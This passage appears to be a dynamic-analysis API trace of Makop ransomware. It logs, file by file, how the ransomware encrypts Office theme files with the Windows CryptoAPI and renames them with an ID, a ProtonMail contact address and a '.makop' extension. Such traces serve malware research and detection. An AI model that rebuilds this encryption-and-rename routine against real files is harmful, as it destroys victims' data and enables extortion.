lpNewFilePointer=0x0) returned 1 [0158.025] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c4, lpOverlapped=0x0) returned 1 [0158.026] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0) returned 1 [0158.026] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.026] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d0, lpOverlapped=0x0) returned 1 [0158.026] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.026] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.026] SetEndOfFile (hFile=0xf0) returned 1 [0158.033] GetProcessHeap () returned 0x48a0000 [0158.033] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0158.033] GetProcessHeap () returned 0x48a0000 [0158.033] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.033] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0158.033] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.035] CloseHandle (hObject=0xf0) returned 1 [0158.035] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12c23400, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x12c23400, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1 [0158.035] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml") returned 77 [0158.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.038] GetProcessHeap () returned 0x48a0000 [0158.038] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.039] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.039] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.039] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0158.044] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.045] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.045] GetProcessHeap () returned 0x48a0000 [0158.045] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0158.045] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0158.045] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.045] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0158.045] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.046] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.046] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.046] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.046] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.046] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.046] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.046] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.047] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c2, lpOverlapped=0x0) returned 1 [0158.047] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0) returned 1 [0158.047] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.047] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d0, lpOverlapped=0x0) returned 1 [0158.047] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.048] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.048] SetEndOfFile (hFile=0xf0) returned 1 [0158.055] GetProcessHeap () returned 0x48a0000 [0158.055] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0158.055] GetProcessHeap () returned 0x48a0000 [0158.055] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.055] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0158.055] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.058] CloseHandle (hObject=0xf0) returned 1 [0158.058] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="ELEMEN~1.XML")) returned 1 [0158.058] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml") returned 79 [0158.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.059] GetProcessHeap () returned 0x48a0000 [0158.059] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.060] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.060] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.060] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0158.066] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.066] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.066] GetProcessHeap () returned 0x48a0000 [0158.066] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0158.066] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0158.066] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.066] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0158.067] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.067] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.067] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.067] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.067] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.068] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.068] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.068] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.068] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c4, lpOverlapped=0x0) returned 1 [0158.068] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0) returned 1 [0158.068] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.068] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d0, lpOverlapped=0x0) returned 1 [0158.068] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.069] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.069] SetEndOfFile (hFile=0xf0) returned 1 [0158.075] GetProcessHeap () returned 0x48a0000 [0158.075] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0158.075] GetProcessHeap () returned 0x48a0000 [0158.075] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.075] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0158.075] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.077] CloseHandle (hObject=0xf0) returned 1 [0158.077] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1 [0158.077] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml") returned 76 [0158.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.079] GetProcessHeap () returned 0x48a0000 [0158.079] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.079] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.079] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.079] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0158.084] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.084] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.084] GetProcessHeap () returned 0x48a0000 [0158.084] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0158.084] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0158.084] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.084] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0158.084] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.084] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.085] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.085] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.085] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.085] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.085] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.085] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.085] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c1, lpOverlapped=0x0) returned 1 [0158.086] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0) returned 1 [0158.086] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.086] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d0, lpOverlapped=0x0) returned 1 [0158.086] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.086] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.086] SetEndOfFile (hFile=0xf0) returned 1 [0158.092] GetProcessHeap () returned 0x48a0000 [0158.093] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0158.093] GetProcessHeap () returned 0x48a0000 [0158.093] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.093] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0158.093] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.098] CloseHandle (hObject=0xf0) returned 1 [0158.098] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="ESSENT~1.XML")) returned 1 [0158.098] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml") returned 79 [0158.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.101] GetProcessHeap () returned 0x48a0000 [0158.101] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.101] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.101] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.101] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.102] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.102] GetProcessHeap () returned 0x48a0000 [0158.102] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0158.102] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0158.102] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.102] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0158.108] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.108] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.108] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.109] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.109] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, 